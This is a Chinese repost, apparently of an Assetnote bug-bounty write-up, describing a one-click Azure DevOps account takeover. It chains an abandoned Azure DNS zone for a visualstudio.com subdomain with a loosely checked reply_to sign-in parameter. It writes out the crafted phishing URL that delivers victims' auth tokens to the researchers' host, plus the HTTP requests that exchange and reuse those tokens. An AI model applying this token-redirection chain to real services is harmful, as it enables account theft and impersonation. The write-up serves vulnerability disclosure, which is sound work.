一键接管Azure DevOps帐户

发布于 2021-01-05 23:57

上方,我们

进行子域接管时,应你该问自己,影响是什么,我该如何证明?接管子域时尤其如此project-cascade.visualstudio.com。

这一看,我们似乎无法通过继承这个子域来做很多事情,因为没有超级敏感的东西存在于之下*.visualstudio.com。但是,在更深入的研究中,我们能够利用信任边界,从而导致一键式帐户接管Azure DevOps帐户。

技术步骤


通过自动化,我们发现子域project-cascade.visualstudio.com容易受到Azure区域DNS接管。

项目的NS记录-cascade.visualstudio.com正在指向Azure DNS,但是它们不再在Azure DNS上注册。这导致查找被拒绝,如下所示:

dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns3-05.azure-dns.org status: [Refused]           dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns2-05.azure-dns.net status: [Refused]dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns1-05.azure-dns.com status: [Refused]          dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns4-05.azure-dns.info status: [Refused]

由于查询被拒绝,我们可以在我们拥有的Azure帐户下注册子域。通过这样做,我们能够为子域项目创建任意DNS记录-cascade.visualstudio.com:

project-cascade.visualstudio.com注册为DNS区域的Azure控制台

从现在开始,我们记录了两个记录: 

  • TXT记录-txt.project-cascade.visualstudio.com具有Azure DNS Zone Takeover POC(概念证明)的值

  • 记录-arec.project-cascade.visualstudio.com具有3.88.203.203(我们的主机)的值

$ dig txt txt.project-cascade.visualstudio.com @1.1.1.1...omitted for brevity...;; ANSWER SECTION:txt.project-cascade.visualstudio.com. 10 IN TXT "Azure DNS Zone Takeover POC"$ dig a arec.project-cascade.visualstudio.com @1.1.1.1...omitted for brevity...;; ANSWER SECTION:arec.project-cascade.visualstudio.com. 2475 IN A 3.88.203.203

那么,接下来呢?


既然我们已经成功地接管了子域,现在是时候调查安全影响了。

我们发现下面有子域visualstudio.com有助于认证流程登录microsoftonline.com.

例如,访问app.vsssp.visualstudio.com,我们被重定向到:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90#ctx=eyJTaWduSW5Db29raWVEb21haW5zIjpbImh0dHBzOi8vbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbSJdfQ2

然后重定向到:

https://login.microsoftonline.com/...omitted...

从上面的URL中要注意的最重要的事情是端点的以下参数和值

https://app.vssps.visualstudio.com/_signin

reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F

通过一些测试,我们确定此身份验证流具有一个松散配置的reply_to地址,从而允许其下的任何域都*.visualstudio.com可以接收身份验证令牌。

为了演示此帐户接管流程,我们制作了以下URL:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

在上面的URL中,请注意,我们将reply_to参数的值更改为包含以下内容:(https%3A%2F%2Farec.project-cascade.visualstudio.com%2F我们的子域接管)。

这将提示用户通过常规microsoft live.com身份验证流登录,或者如果用户已经登录,则继续登录并重定向请求。

Visual Studio身份验证流程通过http://login.microsoftonline.com/

登录后,将导致发出以下请求,最终导致对我们的受控域的POST请求arec.project-cascade.visualstudio.com。

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1Host: arec.vssps.visualstudio.comCookie: ...omitted for brevity...id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>%2B

我们的受控网域收到了以下请求,其中包含针对 app.vsaex.visualstudio.com

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1Host: arec.project-cascade.visualstudio.comContent-Length: 4634Referer: https://arec.vssps.visualstudio.com/_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2FCookie: ...omitted for brevity...id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>

arec.project-cascade.visualstudio.com接收的最终身份验证令牌(由我们控制)

此令牌可用于什么用途?


我们发现可以通过将交换的身份验证令牌交换为Bearer令牌app.vsaex.visualstudio.com。然后,这个承载的令牌可以用于验证vsaex.visualstudio.com,dev.azure.com和vssps.dev.azure.com。

POST /_apis/WebPlatformAuth/SessionToken HTTP/1.1Host: app.vsaex.visualstudio.comConnection: closeContent-Length: 105Origin: https://app.vsaex.visualstudio.comX-VSS-ReauthenticationAction: SuppressContent-Type: application/jsonAccept: application/json;api-version=6.0-preview.1;excludeUrls=trueX-Requested-With: XMLHttpRequest...omitted for brevity...Cookie: UserAuthentication=<snipped id_token>; FedAuth=<snipped FedAuth>; FedAuth1=<snipped>{"appId":"00000000-0000-0000-0000-000000000000","force":false,"tokenType":0,"namedTokenId":"Aex.Profile"}

该请求返回以下响应以及有效的承载令牌,该令牌可以在其他地方使用

HTTP/1.1 200 OKCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Length: 933Content-Type: application/json; charset=utf-8; api-version=6.0-preview.1...omitted for brevity...{"appId":"00000000-0000-0000-0000-000000000000","token":"<snip>","tokenType":"session","validTo":"2020-05-12T06:45:47.2007474Z","namedTokenId":"Aex.Profile"}

例如在app.vsaex.visualstudio.com此令牌上可用于提取用户的电子邮件

GET /_apis/User/User HTTP/1.1Host: app.vsaex.visualstudio.comConnection: closeX-TFS-FedAuthRedirect: SuppressX-VSS-ReauthenticationAction: SuppressX-Requested-With: XMLHttpRequestAccept-Language: en-USAuthorization: Bearer <snip just recieved bearer token>Accept: application/json;api-version=6.0-preview.1;excludeUrls=trueUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36X-TFS-Session: ab1e4b56-599c-4ab6-9f5e-756c486a0f2bSec-Fetch-Site: same-originSec-Fetch-Mode: corsReferer: https://app.vsaex.visualstudio.com/me?mkt=en-USAccept-Encoding: gzip, deflateHTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Length: 258...omitted for brevity...{"descriptor":"msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1","displayName":"s","mail":"<account_email>","unconfirmedMail":null,"country":"AU","dateCreated":"2018-05-25T23:19:53.6843383+00:00","lastModified":"2019-01-06T15:43:50.2963651+00:00","revision":0}

Bearer令牌可用于访问https://app.vsaex.visualstudio.com/me?mkt=en-US,我们发现该令牌在上公开了相关用户的项目名称dev.azure.com

app.vsaex.visualstudio.com/me通过被盗令牌访问

最终,这使我们能够使用令牌dev.azure.com访问资源:

GET /seanyeoh/_usersSettings/keys?__rt=fps&__ver=2 HTTP/1.1Host: dev.azure.comConnection: closex-tfs-fedauthredirect: SuppressOrigin: https://dev.azure.comx-vss-reauthenticationaction: Suppressauthorization: Bearer <snip>accept: application/json;api-version=5.0-preview.1;excludeUrls=true;enumsAsNumbers=true;msDateFormat=true;noArrayWrap=trueUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

使用生成的令牌从dev.azure.com访问资源

影响力


恶意攻击者可以通过将不知情的用户定向到以下网址来对其进行攻击,从而实现一键驱动:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

这将导致其app.vsaex.visualstudio.com令牌被公开。

从这一点出发,攻击者将完全控制用户的Azure DevOps帐户。

此外,project-cascade.visualstudio.com的区域接管可以用来验证该project-cascade.visualstudio.com域的所有权,设置MX记录以捕获电子邮件*.project-cascade.visualstudio.com并证明所有权以创建SSL证书。这可能导致欺诈和冒充Microsoft服务的各种机会。

end


网站:bbs.kylzrv.com

CTF团队:Hunter网络安全

文章:Assetnote

排版:Hunter-匿名者

本文来自网络或网友投稿,如有侵犯您的权益,请发邮件至:aisoutu@outlook.com 我们将第一时间删除。

相关素材